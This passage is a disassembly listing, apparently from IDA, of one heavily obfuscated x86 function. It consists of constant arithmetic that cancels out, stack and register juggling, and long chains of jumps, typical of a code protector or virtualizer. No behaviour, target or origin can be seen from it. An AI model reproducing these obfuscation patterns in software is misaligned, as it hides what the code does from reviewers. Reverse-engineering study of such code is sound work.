XREF: sub_57DD3A:loc_58669Dj sub esp, 4 jmp loc_58577C ; --------------------------------------------------------------------------- loc_58661F: ; CODE XREF: sub_57DD3A+5264j mov esp, [esp+7Ch+var_7C] jmp loc_58AFBC ; --------------------------------------------------------------------------- loc_586627: ; CODE XREF: sub_57DD3A+42FCj mov ch, 0Eh jmp loc_584F59 ; --------------------------------------------------------------------------- loc_58662E: ; CODE XREF: sub_57DD3A+B7A4j sub esp, 4 jmp loc_58A7E1 ; --------------------------------------------------------------------------- loc_586639: ; CODE XREF: sub_57DD3A+4071j sub esp, 4 mov [esp+82h+var_84+2], ebp mov ebp, 2A18055Eh sub edx, ebp pop ebp add edx, 14D1294Dh add ebx, edx mov edx, [esp+7Eh+var_80+2] jmp loc_58CD48 ; --------------------------------------------------------------------------- loc_58665A: ; CODE XREF: sub_57DD3A+8498j mov eax, [esp+0A8h+var_A8] jmp loc_58D101 ; --------------------------------------------------------------------------- loc_586662: ; CODE XREF: sub_57DD3A+CD7Ej add esi, 4 xchg esi, [esp+0A8h+var_A8] pop esp pop [esp+0A4h+var_A4] pop esp bts word ptr [esp+9Ch+var_9C], ax pushf jmp loc_5878AA ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_58BA61 ; --------------------------------------------------------------------------- loc_586680: ; CODE XREF: sub_57DD3A+EEF8j pop ebp jmp loc_58DC4A ; --------------------------------------------------------------------------- loc_586686: ; CODE XREF: sub_57DD3A+5700j mov ecx, 692E300Ch xor ecx, edx mov edx, [esp+0D0h+var_D0] add esp, 4 xor ecx, edx jmp loc_589285 ; --------------------------------------------------------------------------- loc_58669D: ; CODE XREF: sub_57DD3A+D5F9j jmp loc_586614 ; --------------------------------------------------------------------------- loc_5866A2: ; CODE XREF: sub_57DD3A+D962j mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 jmp loc_58DAA1 ; --------------------------------------------------------------------------- loc_5866B2: ; CODE XREF: sub_57DD3A+4BD9j push ecx push ebx jmp loc_582008 ; --------------------------------------------------------------------------- loc_5866B9: ; CODE XREF: sub_57DD3A+8F6Ej add eax, ebx mov ebx, [esp+0AAh+var_AC+2] add esp, 4 push esi mov esi, 1D6D1FE3h add [esp+0AAh+var_A8+2], esi pop esi add [esp+0A6h+var_A8+2], 484C0404h jmp loc_587352 ; --------------------------------------------------------------------------- loc_5866DB: ; CODE XREF: sub_57DD3A+CB33j pop ecx add [esp+0A2h+var_9C+2], 4E791D99h sub [esp+0A2h+var_9C+2], edi sub [esp+0A2h+var_9C+2], 4E791D99h pop edi jmp loc_5855F9 ; --------------------------------------------------------------------------- loc_5866F6: ; CODE XREF: sub_57DD3A+10166j xor ebp, ebx mov ebx, [esp+9Eh+var_A0+2] add esp, 4 xor ebp, 90C4A2AFh mov ebx, ebp jmp loc_586F43 ; --------------------------------------------------------------------------- loc_58670B: ; CODE XREF: sub_57DD3A+B13Cj dec ecx push edi jmp loc_5862E1 ; --------------------------------------------------------------------------- loc_586712: ; CODE XREF: sub_57DD3A+10249j push 228Ch mov [esp+0A2h+var_A4+2], esp jmp loc_585069 ; --------------------------------------------------------------------------- loc_58671F: ; CODE XREF: sub_57DD3A+4208j push [esp+76h+var_78+2] pop ebx push ecx mov ecx, esp add ecx, 4 push edx mov edx, 35E860FFh push ecx mov ecx, 35E860FBh xor edx, ecx pop ecx jmp loc_5865E1 ; --------------------------------------------------------------------------- loc_586740: ; CODE XREF: sub_57DD3A+C0CFj push 84230FFh pop edi jmp loc_58CB77 ; --------------------------------------------------------------------------- loc_58674B: ; CODE XREF: sub_57DD3A+A962j add esp, 4 add esi, 4 push ebx mov ebx, 2 sub esi, 22CF7A09h jmp loc_5876DE ; --------------------------------------------------------------------------- loc_586768: ; CODE XREF: sub_57DD3A+9A1Fj mov edx, [esp+7Eh+var_80+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58BB76 ; --------------------------------------------------------------------------- loc_586779: ; CODE XREF: sub_57DD3A+C81Dj pop eax sub ebp, edx pop edx xor ebp, 35FE410Bh shr ebp, 3 xor ebp, 586308D5h sub edi, ebp pop ebp xor [esp+76h+var_74+2], edi jmp loc_58B5E2 ; --------------------------------------------------------------------------- loc_586798: ; CODE XREF: sub_57DD3A+4D89j mov esp, [esp+5Ch+var_5C] push 6217h jmp loc_58D38F ; --------------------------------------------------------------------------- loc_5867A5: ; CODE XREF: sub_57DD3A+9B6Bj pop ecx push ecx mov ecx, esp add ecx, 4 push 1E6Fh mov [esp+64h+var_64], edx mov edx, 4 add ecx, edx jmp loc_585FF3 ; --------------------------------------------------------------------------- loc_5867C3: ; CODE XREF: sub_57DD3A+9600j push 0AE1h mov [esp+68h+var_68], ebx push edi mov edi, 76D60365h mov ebx, edi pop edi shr ebx, 4 sub esp, 4 mov [esp+6Ch+var_6C], edx mov edx, 7656036h xor ebx, edx pop edx push ebx pop esi jmp loc_581A0B ; --------------------------------------------------------------------------- loc_5867EC: ; CODE XREF: sub_57DD3A+7EFAj sub eax, 9E42BBCh add eax, 24BC3AA8h sub eax, ebp sub eax, 24BC3AA8h add eax, 9E42BBCh jmp loc_587F98 ; --------------------------------------------------------------------------- loc_586807: ; CODE XREF: sub_57DD3A+6B6Aj xor [esp+90h+var_90], 6677532Bh mov edx, [esp+90h+var_90] add esp, 4 push esi jmp loc_5833ED ; --------------------------------------------------------------------------- loc_58681D: ; CODE XREF: sub_57DD3A+9979j push edx mov dh, 0A2h jmp loc_588977 ; --------------------------------------------------------------------------- loc_586825: ; CODE XREF: sub_57DD3A+1009Ej mov bh, cl pop ecx pop edx inc bh or bh, 67h push edx jmp loc_58BC89 ; --------------------------------------------------------------------------- loc_586834: ; CODE XREF: sub_57DD3A+A6D4j sub ebx, edi pop edi sub esp, 4 mov [esp+90h+var_90], ebx push [esp+90h+var_8C] push [esp+94h+var_94] pop ebx push ebp jmp loc_58A252 ; --------------------------------------------------------------------------- loc_58684E: ; CODE XREF: sub_57DD3A+7700j pop cx xor dh, ah pop eax xor al, dh jmp loc_58705A ; --------------------------------------------------------------------------- loc_58685A: ; CODE XREF: sub_57DD3A+8CB7j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58685F: ; CODE XREF: sub_57DD3A+8E7Dj push esp pop esi add esi, 4 jmp loc_58BF3F ; --------------------------------------------------------------------------- loc_58686C: ; CODE XREF: sub_57DD3A+5547j mov dl, 3Eh sub bl, 49h sub bl, dl push ax mov ah, 49h add bl, ah pop ax pop edx sub bl, 95h movzx eax, al push dword ptr [edi+eax*4] push [esp+5Ah+var_5C+2] jmp loc_58AEE6 ; --------------------------------------------------------------------------- loc_58688D: ; CODE XREF: sub_57DD3A+4757j pop esi push eax push [esp+8Eh+var_8C+2] mov eax, [esp+92h+var_94+2] add esp, 4 pop [esp+8Eh+var_90+2] mov esp, [esp+8Ah+var_8C+2] mov fs:[edx], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5868AB: ; CODE XREF: sub_57DD3A+D6ABj mov [esp+8Ah+var_8C+2], ebp push [esp+8Ah+var_8C+2] pop eax jmp loc_584B6C ; --------------------------------------------------------------------------- loc_5868B7: ; CODE XREF: sub_57DD3A+C0C7j add esi, edi pop edi jmp loc_589463 ; --------------------------------------------------------------------------- loc_5868BF: ; CODE XREF: sub_57DD3A+AA50j sub ecx, 75AF3FB0h add ebx, ecx pop ecx push edi jmp loc_58D142 ; --------------------------------------------------------------------------- loc_5868CE: ; CODE XREF: sub_57DD3A+4C3Bj sub dl, bh pop ebx add bl, dl jmp loc_58C8D9 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58AABD ; --------------------------------------------------------------------------- loc_5868E0: ; CODE XREF: sub_57DD3A+9F60j add eax, 120190h add edx, eax mov eax, [esp+68h+var_68] add esp, 4 push ebx push 4 pop ebx sub edx, 2F187D12h jmp loc_586971 ; --------------------------------------------------------------------------- loc_5868FF: ; CODE XREF: sub_57DD3A+4375j sub esp, 2 mov word ptr [esp+6Ah+var_6C+2], bx mov bl, 0C6h sub al, 46h sub al, bl add al, 46h mov bx, word ptr [esp+6Ah+var_6C+2] add esp, 2 add al, 0F8h add al, bl sub al, 0F8h jmp loc_58A1A5 ; --------------------------------------------------------------------------- loc_586923: ; CODE XREF: sub_57DD3A+BFDCj add esp, 4 add al, 86h jmp loc_583714 ; --------------------------------------------------------------------------- loc_586930: ; CODE XREF: sub_57DD3A+920Dj mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp+62h+var_64+2] jmp loc_5838AD ; --------------------------------------------------------------------------- loc_586946: ; CODE XREF: sub_57DD3A+A472j push ebp jmp loc_588461 ; --------------------------------------------------------------------------- loc_58694C: ; CODE XREF: sub_57DD3A+D302j mov [esp+66h+var_68+2], esp add [esp+66h+var_68+2], 4 jmp loc_587E65 ; --------------------------------------------------------------------------- loc_58695B: ; CODE XREF: sub_57DD3A+FD43j push 399Eh mov [esp+6Ah+var_6C+2], ecx push edx mov edx, 8E5AB8F5h mov ecx, edx pop edx jmp loc_58DE00 ; --------------------------------------------------------------------------- loc_586971: ; CODE XREF: sub_57DD3A+8BC0j add edx, ebx add edx, 2F187D12h mov ebx, [esp+68h+var_68] add esp, 4 xor edx, [esp+64h+var_64] xor [esp+64h+var_64], edx jmp loc_583F63 ; --------------------------------------------------------------------------- loc_58698D: ; CODE XREF: sub_57DD3A+77D3j push esi push 51040A7Ch pop esi push edi mov edi, 5DCE6BAFh dec edi xor edi, 690804A1h and edi, 4AB7689Dh and edi, 4B83638Dh shl edi, 6 add edi, 306C073Ah sub esi, edi pop edi mov eax, esi push [esp+7Ah+var_7C+2] jmp loc_58749B ; --------------------------------------------------------------------------- mov cx, word ptr [esp+7Eh+var_80+2] push edi mov edi, esp push esi jmp loc_584D9F ; --------------------------------------------------------------------------- loc_5869D0: ; CODE XREF: sub_57DD3A+6919j add al, 0B2h sub al, 64h push 2375h mov [esp+88h+var_88], edx jmp loc_58A4E5 ; --------------------------------------------------------------------------- loc_5869E1: ; CODE XREF: sub_57DD3A+8D13j add edi, 4 jmp loc_58A344 ; --------------------------------------------------------------------------- loc_5869EC: ; CODE XREF: sub_57DD3A+CB90j mov [esp+88h+var_88], edx push eax pushf jmp loc_58685A ; --------------------------------------------------------------------------- loc_5869F6: ; CODE XREF: sub_57DD3A+D9A7j and ebx, esi push [esp+90h+var_90] pop esi add esp, 4 or ebx, ebx jnz loc_584DE4 push 18B6h mov [esp+90h+var_90], esi jmp loc_58AF0C ; --------------------------------------------------------------------------- loc_586A17: ; CODE XREF: sub_57DD3A+BA71j push edx mov edx, 485C728Fh add ecx, edx pop edx push eax mov eax, 0 sub eax, ecx jmp loc_58B86A ; --------------------------------------------------------------------------- loc_586A2D: ; CODE XREF: sub_57DD3A+4696j pop ebp sub esi, 6FB30E80h pop edx jmp loc_58365F ; --------------------------------------------------------------------------- loc_586A3A: ; CODE XREF: sub_57DD3A+D680j add ebx, 4 xor ebx, [esp+82h+var_84+2] xor [esp+82h+var_84+2], ebx xor ebx, [esp+82h+var_84+2] pop esp add edi, 4 jmp loc_5869E1 ; --------------------------------------------------------------------------- loc_586A52: ; CODE XREF: sub_57DD3A+4CC2j add esp, 4 push esi push [esp+64h+var_60] pop esi pop [esp+64h+var_64] push [esp+60h+var_60] pop eax add esp, 4 jmp loc_584532 ; --------------------------------------------------------------------------- loc_586A6D: ; CODE XREF: sub_57DD3A+D86Ej xchg edx, [esp+5Ch+var_5C] pop esi jmp loc_5859DC ; --------------------------------------------------------------------------- loc_586A76: ; CODE XREF: sub_57DD3A+64D8j add esp, 4 mov bx, word ptr [esp+62h+var_64+2] add esp, 2 jmp loc_58ABAF ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edx push esi mov esi, 0F5908DAh neg esi and esi, 35D71C4Ch jmp loc_583B8A ; --------------------------------------------------------------------------- loc_586AA2: ; CODE XREF: sub_57DD3A+E033j push 741A03C4h pop ecx push ebx mov ebx, 4A863C0Ch push ebx mov ebx, 0E3500C9h sub ecx, ebx pop ebx add ecx, 1F5249B8h sub ecx, 24EC7D57h sub ecx, ebx add ecx, 24EC7D57h sub ecx, 1F5249B8h push esi mov esi, 51B77CA2h shl esi, 1 or esi, 246456E5h sub esi, 9939FF1Ch add ecx, esi pop esi jmp loc_584DF4 ; --------------------------------------------------------------------------- loc_586AED: ; CODE XREF: sub_57DD3A+96F4j push ecx mov ecx, 3514001Fh jmp loc_58322C ; --------------------------------------------------------------------------- push 4BC7h jmp loc_58B184 ; --------------------------------------------------------------------------- mov sp, word ptr [esp+72h+var_74+2] jmp loc_589D72 ; --------------------------------------------------------------------------- loc_586B0B: ; CODE XREF: sub_57DD3A+8067j mov esi, [esp+64h+var_64] add esp, 4 add esp, 4 push ebx mov ebx, esp jmp loc_588827 ; --------------------------------------------------------------------------- loc_586B1C: ; CODE XREF: sub_57DD3A+B577j add edx, ebx sub edx, 7A0B4291h jmp loc_585AFF ; --------------------------------------------------------------------------- loc_586B29: ; CODE XREF: sub_57DD3A+A41Aj add eax, 793B3CC7h add eax, 5F9E70AFh add eax, 283B602Dh sub eax, esi sub eax, 283B602Dh push edx mov edx, 5F9E70AFh sub eax, edx jmp loc_5884E3 ; --------------------------------------------------------------------------- loc_586B4C: ; CODE XREF: sub_57DD3A+5C21j add edi, edx jmp loc_581DFC ; --------------------------------------------------------------------------- loc_586B53: ; CODE XREF: sub_57DD3A+5239j add edx, ebp pop ebp jmp loc_5841FE ; --------------------------------------------------------------------------- loc_586B5B: ; CODE XREF: sub_57DD3A+AA45j push esi jmp loc_589171 ; --------------------------------------------------------------------------- loc_586B61: ; CODE XREF: sub_57DD3A+C613j push esi mov esi, 1DAC1A42h jmp loc_587186 ; --------------------------------------------------------------------------- loc_586B6C: ; CODE XREF: sub_57DD3A+7878j add ecx, 2 xor ecx, [esp+68h+var_68] xor [esp+68h+var_68], ecx xor ecx, [esp+68h+var_68] pop esp mov cx, word ptr [esp+64h+var_64] push eax push 7DD7h push esp pop [esp+70h+var_70] add [esp+6Ch+var_6C], 4 pop eax push ecx mov ecx, 678B28F2h jmp loc_58BB99 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+6Ch+var_6C] push eax mov eax, esp add eax, 4 push 2510h mov [esp+74h+var_74], esi push eax push 44234DF3h jmp loc_588762 ; --------------------------------------------------------------------------- loc_586BB6: ; CODE XREF: sub_57DD3A+B355j push esi jmp loc_58685F ; --------------------------------------------------------------------------- loc_586BBC: ; CODE XREF: sub_57DD3A+A154j add esp, 4 jmp loc_58896F ; --------------------------------------------------------------------------- push [esp+7Ch+var_7C] mov eax, [esp+80h+var_80] push edx mov edx, esp push eax mov eax, 12018Bh jmp loc_587C98 ; --------------------------------------------------------------------------- loc_586BDB: ; CODE XREF: sub_57DD3A+C321j sub al, 23h pop ecx add al, 0ACh add al, 0F3h add al, bl sub al, 0F3h sub al, 0ACh add al, 5Ch push 5639h mov [esp+88h+var_88], ecx push edx mov dl, 0F0h push edx jmp loc_5837BA ; --------------------------------------------------------------------------- lodsd push 1D31h mov [esp+94h+var_94], edx sub esp, 4 mov [esp+98h+var_98], edi mov edi, 57BD10CFh not edi shl edi, 5 sub edi, 0A9A17DC1h push esi push edi jmp loc_58B04C ; --------------------------------------------------------------------------- loc_586C21: ; CODE XREF: sub_57DD3A+EA9Ej push ecx mov ecx, 4C285F65h jmp loc_586C6E ; --------------------------------------------------------------------------- loc_586C2C: ; CODE XREF: sub_57DD3A+579Dj push esi mov esi, esp push eax jmp loc_587637 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0D0h+var_D0] sub esp, 4 mov [esp+0D4h+var_D4], ecx push esp jmp loc_5821DC ; --------------------------------------------------------------------------- loc_586C48: ; CODE XREF: sub_57DD3A+6652j pop bx sub dh, 0B4h push dx mov dh, 92h push bx mov bl, 0B1h add al, bl pop bx add al, dh push edx mov dl, 0E8h jmp loc_58315E ; --------------------------------------------------------------------------- loc_586C63: ; CODE XREF: sub_57DD3A+C566j sub edi, 4 xchg edi, [esp+0A0h+var_A0] jmp loc_582D23 ; --------------------------------------------------------------------------- loc_586C6E: ; CODE XREF: sub_57DD3A+8EEDj mov ebx, ecx pop ecx push ebp mov ebp, 198032DFh sub [esp+0A4h+var_9C], ebp pop ebp sub [esp+0A0h+var_9C], ebx add [esp+0A0h+var_9C], 198032DFh mov ebx, [esp+0A0h+var_A0] add esp, 4 pop eax push 7FB9h mov [esp+9Ch+var_9C], ebx mov ebx, 58FA15A9h inc ebx not ebx add ebx, 0A5227510h jmp loc_5866B9 ; --------------------------------------------------------------------------- loc_586CAD: ; CODE XREF: sub_57DD3A+6597j push edx mov edx, 3B1F1993h add edx, 0C4E0E671h sub ebp, edx pop edx jmp loc_58CC7F ; --------------------------------------------------------------------------- loc_586CC1: ; CODE XREF: sub_57DD3A+CC40j add eax, 44113D73h pop edx sub esp, 4 mov [esp+86h+var_88+2], ebp mov ebp, 4FA80CD9h jmp loc_5826BF ; --------------------------------------------------------------------------- lodsd sub eax, 1E5047AAh sub esp, 4 mov [esp+8Ah+var_8C+2], edx push ebp jmp loc_583E53 ; --------------------------------------------------------------------------- loc_586CEF: ; CODE XREF: sub_57DD3A+B9FAj pop ecx jmp loc_58A336 ; --------------------------------------------------------------------------- loc_586CF5: ; CODE XREF: sub_57DD3A+937Dj mov esi, 3F7D6A59h jmp loc_58C347 ; --------------------------------------------------------------------------- loc_586CFF: ; CODE XREF: sub_57DD3A+7408j xor esi, 0A7DF5E1Ch xor ebx, esi jmp loc_58C9B1 ; --------------------------------------------------------------------------- loc_586D0C: ; CODE XREF: sub_57DD3A+902Ej add ecx, eax jmp loc_58D624 ; --------------------------------------------------------------------------- loc_586D13: ; CODE XREF: sub_57DD3A+EEC8j add esp, 4 jmp loc_587DAA ; --------------------------------------------------------------------------- loc_586D1E: ; CODE XREF: sub_57DD3A+5040j add ecx, 2 xchg ecx, [esp+92h+var_94+2] jmp loc_58A8FB ; --------------------------------------------------------------------------- loc_586D2C: ; CODE XREF: sub_57DD3A+C3BEj pop dword ptr [eax] add dword ptr [eax], 35F33DE3h jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586D39: ; CODE XREF: sub_57DD3A+FC87j dec bh or bh, 83h xor bh, 9Eh xor bh, 1Fh jmp loc_5880B9 ; --------------------------------------------------------------------------- loc_586D49: ; CODE XREF: sub_57DD3A+9950j mov eax, 38D742EEh dec eax shr eax, 6 add eax, 60B91939h sub eax, 619C7640h add ecx, 5B987200h sub ecx, 485C6Fh jmp loc_586D0C ; --------------------------------------------------------------------------- loc_586D6D: ; CODE XREF: sub_57DD3A+710Dj push esi push esp pop esi add esi, 4 jmp loc_58AF16 ; --------------------------------------------------------------------------- loc_586D7B: ; CODE XREF: sub_57DD3A+E0C0j push esp mov edi, [esp+0D8h+var_D8] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_588A5C ; --------------------------------------------------------------------------- loc_586D93: ; CODE XREF: sub_57DD3A+6E6Cj add eax, ebp sub esp, 4 mov [esp+7Ah+var_7C+2], edi mov edi, 5A7C2120h not edi jmp loc_5825BB ; --------------------------------------------------------------------------- loc_586DA7: ; CODE XREF: sub_57DD3A+A9AFj pop esp mov [esp+76h+var_78+2], esi jmp loc_583272 ; --------------------------------------------------------------------------- loc_586DB0: ; CODE XREF: sub_57DD3A+854Dj xor eax, 6FAD69A8h add eax, 26E22942h xor eax, 5DFE40DBh push edx mov edx, 47970130h sub eax, edx jmp loc_58543F ; --------------------------------------------------------------------------- loc_586DCC: ; CODE XREF: sub_57DD3A+BDECj pop esi sub ecx, esi jmp loc_58B3BF ; --------------------------------------------------------------------------- loc_586DD4: ; CODE XREF: sub_57DD3A+C6FCj mov ebp, 7DD83362h jmp loc_5858BB ; --------------------------------------------------------------------------- loc_586DDE: ; CODE XREF: sub_57DD3A+DA32j mov dh, bh jmp loc_586477 ; --------------------------------------------------------------------------- loc_586DE5: ; CODE XREF: sub_57DD3A+FB5Cj xor ecx, 76360FEAh jmp loc_58BA6D ; --------------------------------------------------------------------------- loc_586DF0: ; CODE XREF: sub_57DD3A+94C3j sub esp, 4 mov [esp+9Eh+var_A0+2], eax mov eax, 8191D6Bh sub esi, eax pop eax jmp loc_584EFD ; --------------------------------------------------------------------------- loc_586E03: ; CODE XREF: sub_57DD3A+6F9Bj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586E08: ; CODE XREF: sub_57DD3A+BCB7j push edi mov edi, 7CA52B17h jmp loc_58D0A8 ; --------------------------------------------------------------------------- loc_586E13: ; CODE XREF: sub_57DD3A+D2CAj pop esp xor word ptr [esp+66h+var_68+2], bp xor bp, word ptr [esp+66h+var_68+2] xor word ptr [esp+66h+var_68+2], bp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586E25: ; CODE XREF: sub_57DD3A+C422j pop edx jmp loc_585512 ; --------------------------------------------------------------------------- loc_586E2B: ; CODE XREF: sub_57DD3A+F2EEj add ecx, edx pop edx sub ecx, 7C5E7052h add ecx, edi add ecx, 7C5E7052h push edx mov edx, 0 add edx, ecx mov [edx], al pop edx jmp loc_58BE72 ; --------------------------------------------------------------------------- loc_586E4C: ; CODE XREF: sub_57DD3A+C33Aj pop edx push edx mov edx, esp add edx, 4 jmp loc_589C5A ; --------------------------------------------------------------------------- loc_586E5B: ; CODE XREF: sub_57DD3A+519Cj mov [esp+84h+var_84], ecx mov ecx, esp jmp loc_589A80 ; --------------------------------------------------------------------------- loc_586E65: ; CODE XREF: sub_57DD3A+A735j xor edx, 4DA82470h mov ebp, edx pop edx sub eax, 0D626E2Eh add eax, 2E6E2E5Ch sub eax, 6C420FB6h sub eax, ebp add eax, 6C420FB6h sub eax, 2E6E2E5Ch add eax, 0D626E2Eh pop ebp jmp loc_58A925 ; --------------------------------------------------------------------------- loc_586E94: ; CODE XREF: sub_57DD3A+3BDEj push 4A72h mov [esp+52h+var_54+2], ecx mov ecx, esp push eax mov eax, 7B5C03E5h xor eax, 778200CEh sub eax, 5DD93C0Dh jmp loc_58C743 ; --------------------------------------------------------------------------- loc_586EB3: ; CODE XREF: sub_57DD3A+4571j pop ebx push 45B3h mov [esp+76h+var_78+2], ecx mov ecx, 2028E0h shl ecx, 1 xor ecx, 632E232Bh sub ebp, ecx pop ecx shl ebp, 6 push ebx mov ebx, 151E30FFh sub ebp, ebx pop ebx jmp loc_5837F7 ; --------------------------------------------------------------------------- loc_586EDD: ; CODE XREF: sub_57DD3A+9D21j sub eax, esi add eax, 56AD740Ah pop esi jmp loc_58AF97 ; --------------------------------------------------------------------------- loc_586EEA: ; CODE XREF: sub_57DD3A+EE3Fj pop edi sub edx, ecx jmp loc_585B72 ; --------------------------------------------------------------------------- loc_586EF2: ; CODE XREF: sub_57DD3A+D62Dj add ebx, eax pop eax push 6EB8h mov [esp+6Ah+var_6C+2], ebx mov ebx, 15F822C6h sub [esp+6Ah+var_64+2], ebx mov ebx, [esp+6Ah+var_6C+2] jmp loc_58B913 ; --------------------------------------------------------------------------- loc_586F0E: ; CODE XREF: sub_57DD3A+4AD1j mov cl, 0B2h sub cl, 1Dh jmp loc_585319 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586F20: ; CODE XREF: sub_57DD3A+755Cj pop ebp push edi push ebx mov ebx, 4 mov edi, ebx pop ebx add ebp, edi jmp loc_58C0D9 ; --------------------------------------------------------------------------- loc_586F32: ; CODE XREF: sub_57DD3A+A9BAj push eax mov ah, 29h jmp loc_58539A ; --------------------------------------------------------------------------- loc_586F3A: ; CODE XREF: sub_57DD3A+8738j pop ecx shr edx, 4 jmp loc_58B2A4 ; --------------------------------------------------------------------------- loc_586F43: ; CODE XREF: sub_57DD3A+89CCj mov ebp, [esp+9Ah+var_9C+2] push ebp jmp loc_586930 ; --------------------------------------------------------------------------- loc_586F4C: ; CODE XREF: sub_57DD3A+7BA8j push edx mov edx, 44BF6514h push ebp push eax push edx mov edx, 771D67D3h mov eax, edx pop edx push ebp mov ebp, 612311DFh shr ebp, 5 shl ebp, 3 jmp loc_58A6E7 ; --------------------------------------------------------------------------- loc_586F6E: ; CODE XREF: sub_57DD3A+ED85j dec byte ptr [esp+66h+var_68+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586F77: ; CODE XREF: sub_57DD3A+964Dj mov [esp+6Ah+var_6C+2], edx mov edx, 2D9E4F20h add ebx, edx pop edx mov dx, word ptr [esp+66h+var_68+2] push esi sub esp, 4 jmp loc_5881B9 ; --------------------------------------------------------------------------- loc_586F8F: ; CODE XREF: sub_57DD3A+DEDFj mov eax, 31462078h dec eax inc eax sub eax, 7C47BC9h push ebp push eax jmp loc_583100 ; --------------------------------------------------------------------------- loc_586FA2: ; CODE XREF: sub_57DD3A+60FEj add ebp, 4 jmp loc_582251 ; --------------------------------------------------------------------------- loc_586FAD: ; CODE XREF: sub_57DD3A+A801j sub esp, 4 mov [esp+0C0h+var_C0], esp push esi mov esi, 4 add [esp+0C4h+var_C0], esi pop esi jmp loc_58C3C6 ; --------------------------------------------------------------------------- loc_586FC6: ; CODE XREF: sub_57DD3A+BEC1j mov ecx, [esp+0C0h+var_C0] jmp loc_58C293 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0C0h+var_C0] push eax push esp pop eax push 47BEh mov [esp+0C8h+var_C8], edx sub esp, 4 mov [esp+0CCh+var_CC], ecx mov ecx, 201F0E3Fh mov edx, ecx pop ecx sub edx, 201F0E3Bh jmp loc_5832A9 ; --------------------------------------------------------------------------- loc_586FF6: ; CODE XREF: sub_57DD3A+8708j add ecx, edx sub ecx, 6FCE0749h pop edx sub esp, 4 mov [esp+78h+var_78], ecx push [esp+78h+var_74] pop ecx jmp loc_58D9F6 ; --------------------------------------------------------------------------- loc_58700F: ; CODE XREF: sub_57DD3A+4C72j add [esp+68h+var_64], esi add [esp+68h+var_64], 7A0845ECh mov esi, [esp+68h+var_68] add esp, 4 pop [esp+64h+var_64] push edi push ecx jmp loc_581F05 ; --------------------------------------------------------------------------- loc_58702E: ; CODE XREF: sub_57DD3A+D0D8j add [esp+68h+var_68], 4 pop ebx add ebx, 4 push ebp push edx mov edx, 40BF38C8h push ebp jmp loc_5845E3 ; --------------------------------------------------------------------------- loc_587046: ; CODE XREF: sub_57DD3A+E69Fj push ecx jmp loc_584CA2 ; --------------------------------------------------------------------------- loc_58704C: ; CODE XREF: sub_57DD3A+B11Cj add esp, 4 sub esp, 4 jmp loc_584F8A ; --------------------------------------------------------------------------- loc_58705A: ; CODE XREF: sub_57DD3A+8B1Bj mov edx, [esp+86h+var_88+2] add esp, 4 push ecx push eax jmp loc_58DC95 ; --------------------------------------------------------------------------- loc_58706A: ; CODE XREF: sub_57DD3A+D698j xor ebp, 2CFC18F7h mov edx, ebp pop ebp xor [esp+86h+var_84+2], edx pop edx pop edx push ebp mov ebp, 5E240E70h push esi mov esi, 545F6D59h neg esi push ecx push ebp jmp loc_58556B ; --------------------------------------------------------------------------- loc_58708E: ; CODE XREF: sub_57DD3A+B462j push ebp jmp loc_5824B7 ; --------------------------------------------------------------------------- loc_587094: ; CODE XREF: sub_57DD3A+5AB8j push 3E31h mov [esp+0BCh+var_BC], ebx mov ebx, 7E8B4E94h add ebx, 87A50C64h push edi mov edi, 67C02A45h sub ebx, edi pop edi xor ebx, 3195084Fh push esi jmp loc_586CF5 ; --------------------------------------------------------------------------- loc_5870BC: ; CODE XREF: sub_57DD3A+B72Fj xchg esi, [esp+0C0h+var_C0] pop esp mov [esp+0BCh+var_BC], ebx xor [esp+0BCh+var_BC], 4B387622h jmp loc_5822D7 ; --------------------------------------------------------------------------- loc_5870CF: ; CODE XREF: sub_57DD3A+D338j sub esp, 4 mov [esp+0C0h+var_C0], eax push 0DA836AAFh pop eax sub ebx, eax pop eax mov edi, ebx pop ebx push ebp push ecx push 41403927h pop ecx dec ecx sub ecx, 2C8D73D1h add ecx, 1AD6B674h jmp loc_5828EF ; --------------------------------------------------------------------------- loc_5870FE: ; CODE XREF: sub_57DD3A+C7C4j mov esi, [esp+0C0h+var_C0] add esp, 4 push eax push esp pop eax push ebx mov ebx, 7AAB06C9h sub ebx, 478604E4h push edi mov edi, 4FC1334Dh jmp loc_589F66 ; --------------------------------------------------------------------------- loc_58711E: ; CODE XREF: sub_57DD3A+E296j pop esp add ebp, 0A6EDB25Ah add ecx, ebp pop ebp jmp loc_582C70 ; --------------------------------------------------------------------------- loc_58712D: ; CODE XREF: sub_57DD3A+B4E0j add edi, 4 xchg edi, [esp+0C0h+var_C0] pop esp push esi mov esi, esp add esi, 4 jmp loc_58B71E ; --------------------------------------------------------------------------- loc_587145: ; CODE XREF: sub_57DD3A+4598j pop eax add esi, edi pop edi sub ecx, 1EE5044Ah add ecx, esi push edi mov edi, 1EE5044Ah jmp loc_5837C5 ; --------------------------------------------------------------------------- loc_58715C: ; CODE XREF: sub_57DD3A+ECC8j sub ebx, 44A727EBh add edi, ebx pop ebx sub edi, 2 push edi push [esp+72h+var_70+2] jmp loc_5860B8 ; --------------------------------------------------------------------------- loc_587175: ; CODE XREF: sub_57DD3A+F3E0j xor ebp, 1730748Dh sub ebp, 5A84C54Bh jmp loc_585263 ; --------------------------------------------------------------------------- loc_587186: ; CODE XREF: sub_57DD3A+8E2Dj xor esi, 44C34456h not esi add esi, 238265EDh jmp loc_583C92 ; --------------------------------------------------------------------------- loc_587199: ; CODE XREF: sub_57DD3A+5A28j sub ebx, edx sub ebx, 1AE54C70h pop edx add ebx, edi add ebx, 367119CFh pop edi jmp loc_58B937 ; --------------------------------------------------------------------------- loc_5871B0: ; CODE XREF: sub_57DD3A+4334j push ebp mov ebp, 10FF0A9Ah inc ebp 